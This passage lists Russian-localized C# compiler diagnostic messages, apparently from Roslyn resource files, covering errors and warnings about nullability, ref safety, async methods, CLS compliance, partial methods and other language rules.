с переопределенным членом. + Имя элемента кортежа игнорируется, так как целевым объектом назначения задано другое имя либо имя не задано. + Сборка, на которую указывает ссылка, не имеет строгого имени + Разделяемый метод не может явно реализовывать метод интерфейса. + Модификатор "scoped" параметра не соответствует целевому объекту. + лямбда-выражение + Не удается использовать "{0}" для метода Main, так как он импортирован. + Тип параметра унарного оператора должен быть вмещающим. + Поле '{0}' должно быть полностью назначенным перед возвратом контроля вызывающему элементу. Попробуйте обновить поле до языковой версии "{1}", чтобы автоматически применить значение по умолчанию. + Наиболее подходящий перегруженный метод Add "{0}" для элемента инициализатора набора устарел. {1} + Длина строковой константы, полученной в результате объединения, превышает значение System.Int32.MaxValue. Попробуйте разделить строку на несколько констант. + Для включения проверки на соответствие CLS следует назначить сборке, а не модулю, атрибут CLSCompliant. + У сборки "{0}", на которую дается ссылка, нет строгого имени. + пространство имен + Неоднозначный вызов следующих методов или свойств: "{0}" и "{1}" + Выражение switch не обрабатывает некоторые входные значения, равные null (не является исчерпывающим). Например, шаблон "{0}" не охвачен. + Константа с плавающей запятой вне допустимого диапазона для типа "{0}". + Разделитель литерала необработанной строки должен находиться в отдельной строке. + Не удается считать сведения об отладке метода "{0}" (маркер 0x{1:X8}) из сборки "{2}". + "UnmanagedCallersOnly" может применяться только к обычным статическим неабстрактным и невиртуальным методам или к статическим локальным функциям. + Не удается создать указатель на функцию для "{0}", поскольку эта функция не является статическим методом. + Недопустимый параметр "{0}" для /nullable. Допустимые значения: "disable", "enable", "warnings" или "annotations" + Не удается выдать отладочную информацию для исходного текста без кодировки. + Модификатор "scoped" параметра "{0}" не совпадает с переопределенным или реализованным членом. + Недопустимый параметр "{0}"; видимость ресурса должна быть либо "public", либо "private". + Значение по умолчанию указано для параметра "ref readonly" '{0}', но "ref readonly" следует использовать только для ссылок. Рассмотрите возможность объявления параметра как in. + Использование результата в этом контексте может представить переменные, на которые ссылается параметр, за пределами области их объявления. + Не удается использовать оператор в этом месте из-за приоритета + Элемент записи "{0}" должен быть открытым. + Не используйте "{0}". Этот атрибут зарезервирован для использования компилятором. + Невозможно восстановить предупреждение, так как оно было отключено глобально + Параметр фиксируется в состоянии объемлющего типа, и его значение также используется для инициализации поля, свойства или события. + __arglist не разрешается использовать в списке параметров итераторов. + "{0}" не реализует элемент интерфейса "{1}". Допустимость значения NULL ссылочных типов в интерфейсе, реализованном базовым типом, не совпадает. + Не удается преобразовать асинхронный тип {0} в тип делегата "{1}". Асинхронный тип {0} может возвращать значения Void, Task или Task<T>, ни одно из которых не преобразуется в "{1}". + Использование переменной "{0}" в этом контексте может выставить ссылочные переменные за пределы области их объявления. + Повторяющийся атрибут "{0}" + Не удается внедрить тип "{0}", так как он имеет неабстрактный член. Попробуйте задать для свойства "Внедрить типы взаимодействия" значение false. + Не удалось вывести тип делегата. + Невозможно использовать локальный для файла тип "{0}", так как путь к содержащему файлу не может быть преобразован в эквивалентное байтовое представление UTF-8. {1} + Требуется конечный тег для элемента "{0}". + разделитель начальных цифр + Аргументы типа недопустимы в операторе nameof. + Тип или имя пространства имен "{0}" не существует в пространстве имен "{1}" (возможно, отсутствует ссылка на сборку). + "{0}": при создании экземпляра типа переменной не удается задать аргументы + Ошибка при чтении ресурсов Win32 — {0}. + Не удалось найти имя типа "{0}" в глобальном пространстве имен. Этот тип был отправлен в сборку "{1}". Попробуйте добавить ссылку на эту сборку. + Невозможно вернуть выражение типа void. + Параметр ref или out не может иметь значение по умолчанию. + Не удалось найти имя типа "{0}". Этот тип был перемещен в сборку "{1}". Возможно, стоит добавить ссылку на эту сборку. + Итераторы не могут иметь локальных переменных по ссылке + Оба объявления разделяемого метода должны иметь одинаковые сочетания модификаторов "virtual", "override", "sealed" и "new". + Не удалось указать значение по умолчанию для параметра this. + Данное выражение никогда не имеет указанный тип ("{0}") + Комментарий XML содержит тег typeparam, но параметр типа с таким именем не существует + Либо оба объявления разделяемого метода должны иметь модификаторы unsafe, либо ни одно из объявлений не должно иметь модификатора unsafe. + назначение объединения + Базовый тип помечен как несовместимый с CLS в сборке, помеченной как совместимая с CLS. Удалите атрибут, указывающий совместимость сборки с CLS, или удалите атрибут, указывающий несовместимость типа с CLS. + Указанное выражение всегда соответствует предоставленной константе. + Метод с vararg не может быть универсальным, иметь универсальный тип или параметр params + 'Для применения оператора "await" у типа "{0}" должен быть подходящий метод GetAwaiter. Возможно отсутствует директива using для "System". + Требуется ";" или "=" (невозможно задать аргументы конструктора в объявлении). + Использование элемента результата в этом контексте может представить переменные, на которые ссылается параметр, за пределами области их объявления. + Вызов неявного индексатора для диапазона не может присвоить аргументу имя. + с использованием структур + Аргумент запрещено использовать для параметра из-за различий в отношении допустимости значений NULL для ссылочных типов. + Тип возвращаемого значения операторов Истина и Ложь должен быть логическим. + Этот конструктор должен добавлять "SetsRequiredMembers", поскольку он связан с конструктором с этим атрибутом. + Ограничение не может быть специальным классом "{0}" + "{0}": целевая среда выполнения не поддерживает ковариантные возвращаемые типы в переопределениях. Для сопоставления переопределенного элемента "{1}" необходимо использовать возвращаемый тип "{2}". + Модификатор "scoped" параметра "{0}" не совпадает с переопределенным или реализованным членом. + Тип "{0}", отправленный в сборку "{1}", конфликтует с типом "{2}", отправленным в сборку "{3}". + Аргумент должен быть переменной, так как он передается параметру "ref readonly" + В этом контексте значения по умолчанию недействительны. + Поле ref не должно ссылаться на ref struct. + Невозможно использовать локальный для файла тип "{0}" в качестве базового типа для нелокального типа "{1}". + Делегат "{0}" не имеет параметра с именем "{1}". + Соглашение о вызовах "managed" невозможно использовать вместе с спецификаторами неуправляемых соглашений о вызовах. + Сравнение указателей на функции может привести к непредвиденному результату, так как указатели на одну и ту же функцию могут быть разными. + "{0}" несовместим с CLS, поскольку с ним несовместим базовый интерфейс "{1}". + В исходном интерфейсе "{0}" отсутствует метод "{1}", обязательный для внедрения события "{2}". + Параметр конструктора атрибута "{0}" необязателен, однако значение параметра по умолчанию указано не было. + Лямбда дерева выражения не может содержать оператор распространения значений NULL. + Не удалось найти псевдоним "{0}" + Повторная инициализация члена "{0}" + Свойство контракта на равенство записей "{0}" должно иметь метод доступа get. + Недопустимый параметр "{0}" для /debug; допустимые значения: "portable", "embedded", "full" или "pdbonly" + Адрес нефиксированного выражения можно получить только внутри инициализатора оператора fixed. + Чтобы применять "@$" вместо "$@" для интерполированной буквальной строки, следует использовать версию языка "{0}" или более позднюю. + "{0}": класс с атрибутом ComImport не может указывать инициализаторы полей. + Разделяемый метод "{0}" должен иметь модификаторы доступа, так как он содержит параметры "out". + "{0}": нельзя объявлять индексаторы в статическом классе. + Применение класса CallerArgumentExpressionAttribute не подействует, поскольку он применяется к элементу, которые использован в контекстах, где не разрешены необязательные аргументы. + "{0}" уже присутствует в списке интерфейсов. + Указатель на шаблон константы имеет значение null. + "{0}": для свойства или индексатора должен быть указан по крайней мере один метод доступа. + Неявно типизированные переменные не могут быть константными + Переменная объявлена с тем же именем, что и переменная в базовом типе, однако, не было использовано ключевое слово new. Это предупреждение сообщает о том, что следует использовать ключевое слово new: переменная объявлена так, как если бы в объявлении использовалось ключевое слово new. + Несогласованность по доступности: доступность возвращаемого типа "{1}" ниже доступности метода "{0}" + Поля экземпляров в структурах только для чтения должны быть доступны только для чтения. + Не удается присвоить по ссылке "{1}" для "{0}", так как escape-область у "{1}" уже, чем у "{0}". + Невозможно применить оператор "{0}" к операндам типа "{1}" и "{2}", которые не являются байтовыми представлениями UTF-8 + Чтобы создать токены символьных литералов, используйте Microsoft.CodeAnalysis.CSharp.SyntaxFactory.Literal. + Дерево выражения не может содержать доступ к индексатору System.Index или System.Range шаблона. + Использование массивов как аргументов атрибутов в CLS не разрешено + Использование параметра out, которому не присвоено значение + Пропуск аргумента типа в текущем контексте не допускается. + Величина значения выравнивания {0} больше, чем {1}; это может привести к возникновению большой форматированной строки. + Статическая локальная функция не может содержать ссылку на "this" или "base". + Параметр не прочитан. + Дерево выражений не может содержать преобразование строк UTF-8 или литерал. + объявление переменной с параметром OUT + Параметр ref, доступный только для чтения, не может иметь атрибут Out. + Сравнение с целочисленной константой не имеет смысла; константа находится вне диапазона значений типа "{0}". + '"экспериментальный" + Тип "{0}" из сборки "{1}" не может быть использован за границами сборки, так как имеет аргумент универсального типа, являющийся внедренным типом взаимодействия. + Константное значение может привести к переполнению во время выполнения (для переопределения используйте синтаксис "unchecked") + дополнительные параметры лямбды + конструкторы структуры без параметров + Параметр унарного оператора должен быть содержащим типом, или параметр его типа должен ограничиваться только этим параметром. + Локальная функция "{0}" объявлена, но не используется. + Оператор as должен использоваться со ссылочным типом или с типом, допускающим значение Null (тип "{0}" не допускает значение Null). + Абстрактный метод {0} "{1}" не может быть помечен как virtual. + "{0}": статические классы не могут содержать определяемых пользователем операторов. + Метка "{0}" во вложенной области видимости скрывает другую метку с тем же именем. + Элемент "{1}" переопределяет "{0}". Во время выполнения появляется множество кандидатов на переопределение. Реализация зависит от того, какой метод будет вызван. Используйте более позднюю версию среды выполнения. + Анонимные методы, лямбда-выражения, выражения запроса и локальные функции внутри элемента экземпляра структуры не могут получить доступ к параметру основного конструктора + Требуется метод доступа get или set. + Не используйте "System.ParamArrayAttribute". Используйте ключевое слово "params". + Новый защищенный элемент объявлен в запечатанном типе + Отправленный тип "{0}" конфликтует с типом, объявленным в основном модуле этой сборки. + Две сборки отличаются номером выпуска или версии. Для унификации необходимо указать директивы в CONFIG-файле приложения и предоставить допустимое строгое имя сборки. + Конструктор "{0}" не может вызвать сам себя посредством другого конструктора + Файл "{0}", на который дается ссылка, не является сборкой. + Перегруженный бинарный оператор "{0}" принимает два параметра. + или шаблон + Локальная функция "{0}" должна быть "static", чтобы использовать атрибут Conditional + Недопустимый атрибут Conditional для "{0}", так как он является методом переопределения. + Локаль "{0}" или его члены не могут получить свои адреса и использоваться внутри анонимного метода или лямбда-выражения + Ожидается SearchCriteria. + Интерфейсы не могут содержать конструкторы экземпляров + Так как "{0}" возвращает значение void, поэтому после ключевого слова return не должно присутствовать выражение объекта. + Определяемый пользователем оператор не может преобразовать тип в себя + Не удается продолжить, так как оператор edit содержит ссылку на встроенный тип: "{0}". + Поскольку этот вызов не ожидается, выполнение текущего метода продолжается до завершения вызова. Попробуйте применить оператор await к результату вызова. + Следует вызвать метод System.IDisposable.Dispose() для выделенного экземпляра {0} до того, как все ссылки на него будут находиться вне области действия. + Выделенный экземпляр {0} не уничтожается во всех путях исключений. Следует вызвать метод System.IDisposable.Dispose до того, как все ссылки на него будут находиться вне области действия. + Предполагаемый синтаксический узел не может принадлежать синтаксическому дереву из текущей компиляции. + Атрибут безопасности "{0}" имеет недопустимое значение SecurityAction "{1}". + Параметр основного конструктора типа, доступного только для чтения, нельзя использовать в назначении (за исключением метода задания с типом, предназначенным только для инициализации, или инициализатора переменной) + Статическая локальная функция не может содержать ссылку на "{0}". + Для приведения отрицательного значения следует заключить значение в круглые скобки. + Слишком длинное локальное имя "{0}" для PDB. Попробуйте сократить или компилировать без /debug. + Требуется определение члена, оператор или признак конца файла + Модификатор типа ссылки параметра '{0}' не соответствует соответствующему параметру '{1}' переопределеемом или реализованным элементом. + Переменная деконструирования не может быть объявлена как локальная переменная ref + Так как этот вызов не ожидается, выполнение существующего метода продолжается до тех пор, пока вызов не будет завершен + Предложение Using должно предшествовать любым другим элементам пространства имен кроме объявлений внешних псевдонимов. + Аргумент {0} быть переменной, так как он передается параметру "ref readonly" + Оператор await можно использовать только в методах с модификатором async. Consider marking this method with the 'async' modifier and changing its return type to 'Task<{0}>'. + Статический член "{0}" не может быть помечен как readonly. + Буфер фиксированного размера может иметь только одно измерение. + Невозможно применить UnscopedRefAttribute к параметрам, у которых есть модификатор "scoped". + Распаковка-преобразование вероятного значения NULL. + Результат выражения всегда равен "{0}", поскольку значение типа "{1}" никогда не равно Null типа "{2}" + переменная + Допустимость значения NULL в значении типа "{0}" не соответствует целевому типу "{1}". + Не удается использовать псевдоним "{0}" с "::" так как псевдоним ссылается на тип. Вместо этого используйте объект ".". + Встретилась отметка о конфликте слияния + Недопустимая дружественная ссылка на сборку "{0}". Объявления InternalsVisibleTo не содержат определения версии, языка и региональных параметров, токена открытого ключа или архитектуры процессора. + Не удается вернуть параметр по ссылке "{0}" с помощью параметра ref, его можно вернуть только в операторе return + Программы, использующие инструкции верхнего уровня, должны быть исполняемыми. + Это возвращает элемент local по ссылке, но это не ref local + Пустая символьная константа. + Ограничения "class", "struct", "unmanaged", "notnull" и "default" не могут быть объединены или повторяться, поэтому они должны быть указаны первыми в списке ограничений. + "{0}" не может быть добавлен к этой сборке, так как он уже там находится. + Не удалось найти лучший тип для выражения switch. + Общедоступные подписи не поддерживаются для netmodule. + "{0}" уже указан в списке интерфейсов в типе "{2}" в виде "{1}". + Левая сторона назначения ref должна быть переменной ref. + Поле или свойство не может иметь тип "{0}". + Имена элементов кортежа не разрешены в левой части деконструирования. + Дерево лямбда-выражения не может содержать группу методов. + Ожидается "enable", "disable" или "restore" + Недопустимо использовать ссылочный тип "{0}", допускающий значения NULL, в выражении "as". Используйте вместо него базовый тип "{0}". + Не удается привязать делегат к "{0}", так как он является членом "System.Nullable<T>". + метод + В разделяемых объявлениях "{0}" имена параметров типов и их порядок должны быть одинаковыми. + В __arglist невозможно передать аргумент с помощью in или out + В этом месте нельзя использовать символы "{0}". + Оператор "await" можно использовать только в методах с модификатором async {0}. Попробуйте пометить {0} модификатором "async". + Первый параметр метода расширения "ref" "{0}" должен иметь тип значения или универсальный тип, ограниченный структурой. + Несоответствие ссылок между "{0}" и указателем на функцию "{1}". + Невозможно использовать "{0}" в качестве модификатора соглашения о вызовах. + Построение цепочки наблюдающей семантической модели не поддерживается. Необходимо создать наблюдающую модель из ненаблюдающей ParentModel. + Для программы определено несколько точек входа. Компиляция с /main позволит указать тип, содержащий точку входа. + расширенные разделяемые методы + Функция "{0}" недоступна в C# 8.0. Используйте версию языка {1} или более позднюю. + Компонент "{0}" недоступен в C# 7.2. Используйте версию языка {1} или выше. + Компонент "{0}" недоступен в C# 7.3. Используйте версию языка {1} или выше. + Возможность "{0}" недоступна в C# 7.1. Используйте версию языка {1} или выше. + Использование переменной в этом контексте может представить ссылочные переменные за пределами области их объявления. + Ожидается интерполированная строка + Не удалось включить фрагмент XML "{1}" файла "{0}" — {2}. + Оператор преобразования встроенного массива не будет использоваться для преобразования из выражения объявляющего типа. + Тип "{0}", экспортированный из модуля "{1}", конфликтует с типом "{2}", экспортированным из модуля "{3}". + Строковая константа "null" не поддерживается в качестве шаблона для "{0}". Используйте вместо этого пустую строку. + Точка входа не может быть универсальной или иметь универсальный тип + "{0}" не имеет подходящего статического метода Main. + Контроль возвращается вызывающему элементу до явного назначения поля "{0}", что приводит к предшествующему неявному назначению "default" + Для шаблона деконструкции с одним элементом требуется другой синтаксис для устранения неоднозначности. Рекомендуется добавить указатель отмены "_" после закрывающей скобки ")". + Слишком длинное полное имя "{0}" для отладочной информации. Компилируйте без параметра "/debug". + Поля структуры должны быть полностью назначены в конструкторе перед возвратом контроля вызывающему элементу. Попробуйте обновить языковую версию, чтобы автоматически применить значение по умолчанию к этому полю. + Необязательные параметры должны быть указаны после всех требуемых параметров. + Предупреждение переопределяет ошибку + Отсутствует ссылка на эту метку. + Переменная "{0}" объявлена, но ни разу не использована. + Использование универсального {1} "{0}" требует аргументы типа {2}. + Метод UnmanagedCallersOnly "{0}" не может реализовать элемент интерфейса "{1}" в типе "{2}" + Требуется директива #endif. + Оператор goto не может переходить к расположению после объявления using. + Существующий метод вызывает асинхронный метод, который возвращает Task или Task<TResult> и не применяет оператор await к результату. Вызов асинхронного метода запускает асинхронную задачу. Однако, так как оператор await не применяется, программа продолжает работу, не дождавшись выполнения задачи. В большинстве случаев такое поведение не ожидается. Обычно другие аспекты вызова метода зависят от результатов вызова, или предполагается, что вызываемый метод будет завершен как минимум до возврата значения из метода, содержащего вызов. + +Не менее важно то, что происходит с исключениями, возникающими в вызываемом асинхронном методе. Исключение, возникающее в методе, который возвращает Task или Task<TResult>, хранится в возвращенной задаче. Если не ждать завершения задачи или не выполнить явную проверку на исключения, исключение теряется. Если подождать завершения задачи, исключение вызывается повторно. + +Рекомендуется всегда дожидаться вызова. + +Подавление предупреждений следует использовать только в том случае, если вы не хотите ждать завершения асинхронного вызова, а вызванный метод не создаст исключений. В этом случае можно подавить предупреждение, назначив результат задачи вызова для переменной. + выражение запроса + Элемент записи "{0}" должен быть защищенным. + Недопустимое значение аргумента атрибута "{0}". + Безразмерная сборка не может иметь модуль для конкретного процессора "{0}". + Спецификатор формата не должен оканчиваться пробелом. + Не удается применить UnscopedRefAttribute к этому параметру, так как у него по умолчанию нет области действия. + Тип "{0}" не может использоваться в качестве типа целевого объекта для new() + Аргументы InterpolatedStringHandlerArgumentAttribute не могут ссылаться на параметр, в котором используется атрибут. + Переменная назначена, но ее значение не используется + Методы доступа add и remove должны иметь тело. + 'Невозможно реализовать "{0}" через явную реализацию метода "{1}", так как он является методом доступа. + Член реализует член интерфейса с несколькими совпадениями во время выполнения + Комментарий XML имеет повторяющийся тег param для "{0}". + Имя перечислителя "{0}" зарезервировано и не может использоваться. + Лямбда дерева выражения не может содержать инициализатор словаря. + Интерполированный литерал необработанной строки не начинается с достаточного количества символов \"$\", чтобы разрешить использование такого же количества последовательных закрывающих фигурных скобок в качестве содержимого. + Метод "Slice" встроенного массива не будет использоваться для выражения доступа к элементу. + Член "{0}" не скрывает доступный член. Ключевое слово new не требуется. + Спецификации именованных аргументов должны создаваться после всех указанных фиксированных аргументов в динамическом вызове. + "{0}": нельзя использовать статические типы в качестве параметров. + Номер, переданный в директиву препроцессора предупреждений #pragma, не являлся допустимым номером предупреждения. Убедитесь, что номер соответствует предупреждению, а не ошибке. + ожидать в блоках "Catch" и "Finally" + Допустимость значений NULL для ссылочных типов в типе возвращаемого значения не соответствует целевому объекту делегирования (возможно, из-за атрибутов допустимости значений NULL). + "{0}": точка входа не может быть универсальной или находиться в универсальном типе + "{0}" не реализует член интерфейса "{1}". + "{0}" не содержит определение для "{1}", и наиболее подходящий перегруженный метод расширения "{2}" требует наличия получателя типа "{3}". + Использование #r допускается только в скриптах. + Невозможно передать аргумент с динамическим типом в универсальную локальную функцию "{0}" с выводимыми аргументами типа. + Позиция окончания директивы #line должна больше или равна позиции начала + Синтаксическое дерево уже имеется + Параметр первичного конструктора затеняется элементом из базы + Автоматически реализуемое свойство "{0}" должно быть полностью назначено перед возвратом контроля вызывающему элементу. Попробуйте обновить до языковой версии "{1}", чтобы автоматически применить значение по умолчанию к этому свойству. + Используется поле, которое может быть не назначено. Попробуйте обновить языковую версию, чтобы автоматически применить значения по умолчанию к этому полю. + Разыменование вероятной пустой ссылки. + Недопустимое имя выходных данных: {0} + Класс с атрибутом ComImport не может иметь определенного пользователем конструктора. + Недопустимое имя метода CollectionBuilderAttribute. + Выражение return должно иметь тип "{0}", так как этот метод возвращает данные по ссылке + Элементы параметра основного конструктора "{0}" типа, доступного только для чтения, нельзя использовать как значение ref или out (за исключением метода задания с типом, предназначенным только для инициализации, или инициализатора переменной) + Автоматически реализованные свойства должны иметь методы доступа get. + Идентификатор "{0}" несовместим с CLS. + Возвращаемый тип для оператора + + или-- должен либо совпадать с типом параметра, либо быть производным от типа параметра, либо быть содержащим типом для типа параметра, ограниченного им, кроме случаев, когда параметр типа является параметром другого типа. + Оператор преобразования встроенного массива не будет использоваться для преобразования из выражения объявляющего типа. + Ошибка чтения отладочной информации для "{0}" + Дерево выражений не может содержать значение ref struct или ограниченный тип "{0}". + Статические классы не могут содержать деструкторы. + Параметр "{0}" является аргументом для преобразования обработчика интерполированной строки в параметре "{1}", но соответствующий аргумент указан после выражения интерполированной строки. Измените порядок аргументов, поместив "{0}" перед "{1}". + Данное выражение всегда имеет указанный тип ("{0}") + Ссылки на исходный файл не поддерживаются. + Модификатор вида ссылки параметра не соответствует соответствующему параметру в скрытом члене. + "{0}": нельзя использовать статические типы в качестве возвращаемых типов. + Нет определенного порядка полей при нескольких объявлениях разделяемой структуры "{0}". Чтобы определить порядок, все поля экземпляра должны быть в одном объявлении. + Несогласованность по доступности: доступность индексатора возвращаемого типа "{1}" ниже доступности индексатора "{0}" + Поле, совместимое с CLS, не может иметь модификатор volatile + Новые строки внутри небуквальной интерполированной строки не поддерживаются в C# {0}. Используйте версию языка {1} или более позднюю. + Несогласованность по доступности: доступность типа параметра "{1}" ниже доступности метода "{0}" + Дерево должно иметь корневой узел в SyntaxKind.CompilationUnit + В качестве оператора могут использоваться только выражения назначения, вызова, инкремента, декремента и создания нового объекта + Применение атрибута CallerFilePathAttribute к параметру "{0}" ни к чему не приводит, поскольку атрибут применяется к члену, который используется в контекстах, запрещающих необязательные аргументы. + params недопустим в этом контексте. + Дерево лямбда-выражения не может содержать параметр ref, in или out + Невозможно использовать локальный для файла тип "{0}" в директиве "global using static". + Не удается инициализировать тип "{0}" инициализатором набора, потому что он не реализует интерфейс "System.Collections.IEnumerable". + Сопоставление шаблонов запрещено для типов указателей. + Выражение типа "{0}" всегда соответствует предоставленному шаблону. + Функция "{0}" сейчас находится на этапе предварительной версии и *является неподдерживаемой*. Для работы с предварительными версиями функций используйте версию языка "preview". + Тип первого операнда перегруженного оператора сдвига должен совпадать с содержащим типом + автоматический инициализатор свойства + Ошибка чтения ресурса "{0}" — "{1}". + Требуется директива препроцессора. + Тип первого операнда перегруженного оператора сдвига должен совпадать с содержащим типом или с ограниченным им параметром типа + '"await" нельзя использовать в выражении, содержащем тип "{0}" + Не удается определить модификаторы доступа для обоих методов доступа свойства или индексатора "{0}". + Объявления разделяемого метода имеют различия в сигнатуре. + Метод инициализатора модуля "{0}" не должен быть универсальным и не должен содержаться в универсальном типе. + Имена элементов кортежа должны быть уникальными. + Имя языка недопустимо + "{0}": явный вызов оператора или метода доступа невозможен. + 'Параметр "{0}" не может быть внешним и иметь инициализатор конструктора + Тип значения, допускающего NULL, может быть NULL. + Автоматически реализованные свойства не могут возвращать данные по ссылке + Многострочные литералы необработанных строк разрешены только в интерполированных буквальных строках. + Отсутствует требуемый пробел. + Отсутствует ссылка на "{0}" netmodule. + Используется поле "{0}", которое может быть не назначено. Попробуйте обновить до языковой версии "{1}", чтобы автоматически применить значения по умолчанию к этому полю. + "{0}" определяет "Equals", но не "GetHashCode" + Операция вызвала переполнение стека. + переменная цикла foreach + "{0}": невозможно переопределить, так как "{1}" не является событием. + "{0}" повторяющийся TypeForwardedToAttribute + Буферы фиксированного размера должны иметь ненулевую длину. + 'Оператор await нельзя использовать в качестве идентификатора в асинхронном методе или лямбда-выражении. + Постоянное значение "{0}" не может быть преобразовано в "{1}" (для переопределения используйте синтаксис "unchecked"). + Идентификатор несовместим с CLS + инициализатор словаря + Внутренняя ошибка в компиляторе C#. + Применение класса CallerArgumentExpressionAttribute к параметру "{0}" не подействует, он переопределен классом CallerLineNumberAttribute. + Это возвращает параметр по ссылке, но он привязан к текущему методу. + При выходе параметр "{0}" должен иметь значение, отличное от NULL, так как параметр "{1}" имеет значение, отличное от NULL. + интерполированные строки + Не все пути к коду возвращают значение в {0} типа "{1}. + Возможно, использовано непреднамеренное сравнение ссылок: для левой стороны требуется приведение + Доступный конструктор копий не найден в базовом типе "{0}". + Обнаруженный позиционный элемент "{0}", соответствующий этому параметру, скрыт. + Не удается разрешить путь файла "{0}", определенный для именованного аргумента "{1}" атрибута PermissionSet. + Недопустимое число + Сборка "{0}", на которую дается ссылка, использует другой параметр языка и региональных параметров "{1}". + Неоднозначная ссылка в атрибуте cref + Первый параметр метода расширения не может иметь тип "{0}". + ссылки только для чтения + "{0}" является {1}, который недопустим в данном контексте. + Перегруженный метод "{0}", отличающийся только параметром с ключевым словом ref или out, либо рангом массива, несовместимы с CLS. + Параметр имеет недопустимый тип "void". + Ограничения не разрешены в объявлениях, не являющихся универсальными. + Синтаксически недопустимый атрибут cref в комментарии XML + анонимные методы + Аннотацию для ссылочных типов, допускающих значения NULL, следует использовать в коде только в контексте аннотаций "#nullable". + Дерево выражений не может содержать выражение throw. + Не удается преобразовать тип "{0}" в "{1}" + Выражение фильтра является константой "false", попробуйте удалить блок try-catch + Нельзя указывать именованный аргумент "{0}" несколько раз. + Спецификатор типа массива, [], должен располагаться перед именем параметра. + Не удается преобразовать значение NULL в "{0}", поскольку этот тип значений не допускает значение NULL. + Ссылка анализатора "{0}" указана несколько раз + Модификатор "partial" может использоваться только перед ключевыми словами "class", "record", "struct" и "interface" и перед возвращаемым типом метода. + Метод "{0}" должен быть неуниверсальным, чтобы соответствовать "{1}". + Тип не реализует шаблон коллекции; член не является общедоступным экземпляром или методом расширения. + Тип аргумента для атрибута DefaultParameterValue должен соответствовать типу параметра. + Отсутствует целевой тип для "{0}". + Недопустимый параметр псевдонима ссылки: "{0}=" — не указано имя файла + Тип "{0}" не может быть использован для поля записи. + Поле или автоматически реализуемое свойство не может быть типа "{0}", если это не член экземпляра ссылочной структуры. + Недопустимая вариантность: если не используется как минимум версия языка "{4}", параметр типа "{1}" должен быть допустимым ({3}) для "{0}". Состояние "{1}": {2}. + Директива using ранее использовалась в качестве глобальной + Применение CallerArgumentExpressionAttribute к параметру "{0}" не подействует, поскольку он применяется к элементу, который использован в контекстах, где не разрешены необязательные аргументы. + Именованный аргумент "{0}" используется не на своем месте, но за ним следует неименованный аргумент + Члены поля "{0}", доступного только для чтения, нельзя вернуть по ссылке, доступной для записи + Не удается использовать выражение типа "{0}" в качестве аргумента для динамически диспетчеризируемой операции. + Выражения запросов по источнику типа "dynamic" или с последовательностью объединения типа "dynamic" запрещены. + Параметр "{0}" переопределяет атрибут "{1}", заданный в исходном файле или в добавленном модуле. + "{0}": имена членов не могут совпадать с именами типов, в которых они содержатся + "{0}": тип, используемый в асинхронном операторе using, должен допускать неявное преобразование в тип "System.IAsyncDisposable" или реализовывать подходящий метод "DisposeAsync". Возможно, вы имели в виду "using", а не "await using"? + Параметр {0} указан после {1} в списке параметров, но используется в качестве аргумента для преобразований обработчика интерполированных строк. В этом случае вызывающий должен изменить порядок параметров с именованными аргументами на сайте вызова. Рекомендуем разместить параметр обработчика интерполированных строк после всех используемых аргументов. + Недопустимое имя хэш-алгоритма: "{0}" + Контекстное ключевое слово "var" может использоваться только в объявлении локальной переменной или в скрипте. + Дерево выражения не может содержать доступ к статическому виртуальному или абстрактному элементу интерфейса. + Недопустимый номер базы образа "{0}' + Событие среды выполнения Windows не может передаваться как параметр out или ref. + Экземпляр типа "{0}" нельзя использовать внутри вложенной функции, выражения запроса, блока итератора или асинхронного метода. + "{0}" не реализует член интерфейса "{1}". '{2}" не может реализовать "{1}", потому что не имеет соответствующего возвращаемого типа "{3}". + Аргумент должен передаваться с помощью команды "ref" или "in" ключевое слово + шаблоны расширенных свойств + Тип одного из выражений в предложении {0} неверен. Ошибка определения типа при вызове в "{1}". + Атрибут cref комментария XML ссылается на параметр типа + Локальный для файла тип "{0}" не может использовать модификаторы специальных возможностей. + Параметр первичного конструктора '{0}' затеняется элементом из базы. + Требуется имя метода. + Не удается использовать фиксированную локальную переменную "{0}" внутри анонимного метода, лямбда-выражения или выражения запроса. + Метод "{0}" не будет использоваться в качестве точки входа, так как была найдена синхронная точка входа "{1}". + __arglist недопустим в этом контексте. + Элемент "{0}" должен иметь значение, отличное от NULL, при выходе. + Элементы не могут иметь значение Null. + Не символ C# . + Невозможно преобразовать тип группы &методов "{0}" в указатель не на функцию "{1}". + "{0}": нельзя использовать статические типы в качестве параметров. + Только параметр "using static" или "using alias" может иметь значение "unsafe". + Тип "{0}", экспортированный из модуля "{1}", конфликтует с типом, объявленным в основном модуле этой сборки. + Выражение switch обрабатывает не все возможные значения своего типа входных данных (оно не полное). + неуправляемые сконструированные типы + Это принимает адрес, получает размер или объявляет указатель на управляемый тип + Указанная строка версии "{0}" не соответствует требуемому формату: основной номер[.дополнительный номер[.сборка[.редакция]]] + Оператор foreach не может использоваться с переменными типа "{0}", так как он реализует создание нескольких экземпляров "{1}". Попробуйте выполнить приведение к созданию экземпляра определенного интерфейса. + Комментарий XML содержит тег param, но параметр с таким именем не существует + Требуется идентификатор. + сопоставление шаблону + Параметр использования псевдонима не может быть ссылочным типом, допускающим значение NULL. + Атрибут CallerMemberNameAttribute не будет работать: он переопределяется атрибутом CallerFilePathAttribute + A collection expression of type '{0}' cannot be used in this context because it may be exposed outside of the current scope. + типы файлов + Дерево выражения не может иметь доступ к базовым членам. + Параметр может иметь только один модификатор "{0}". + В области видимости оператора goto отсутствует метка "{0}". + Небезопасный код может использоваться только при компиляции с параметром /unsafe. + Ссылка, возвращенная вызовом ' {0} ', не может быть сохранена за границей 'wait' или 'yield'. + "{0}": виртуальные и абстрактные члены не могут быть закрытыми. + Класс CallerArgumentExpressionAttribute применен с недопустимым именем параметра. + позиционные поля в записях + члены только для чтения + Сборка, на которую указывает ссылка, содержит другой параметр языка и региональных параметров + Первый параметр "in" или "readonly" метода расширения "{0}" должен быть конкретным (неуниверсальным) типом значения. + Не удалось инициализировать генератор "{0}". Это не повлияет на выходные данные и ошибки компиляции, которые могут возникнуть в результате. Тип возникшего исключения: "{1}", сообщение: "{2}". +{3} + Значение типа "{0}" нельзя использовать в качестве параметра по умолчанию для допускающего значение Null параметра "{1}", так как "{0}" не является простым типом + Использование значения типа "{0}" в качестве параметра по умолчанию недопустимо, так как отсутствуют стандартные методы преобразования в тип "{1}". + Обнуляемость ссылочных типов в типе параметра ' {0} ' не соответствует перехватываемому методу ' {1} '. + Необходимо требовать "{0}" до переопределения обязательного элемента "{1}" + "{0}" является абстрактным, но содержится в типе "{1}", который не является абстрактным. + динамический + Возможно, назначение-ссылка, допускающее значение NULL. + Не удается вернуть по ссылке элемент параметра "{0}", так как он имеет область действия текущего метода 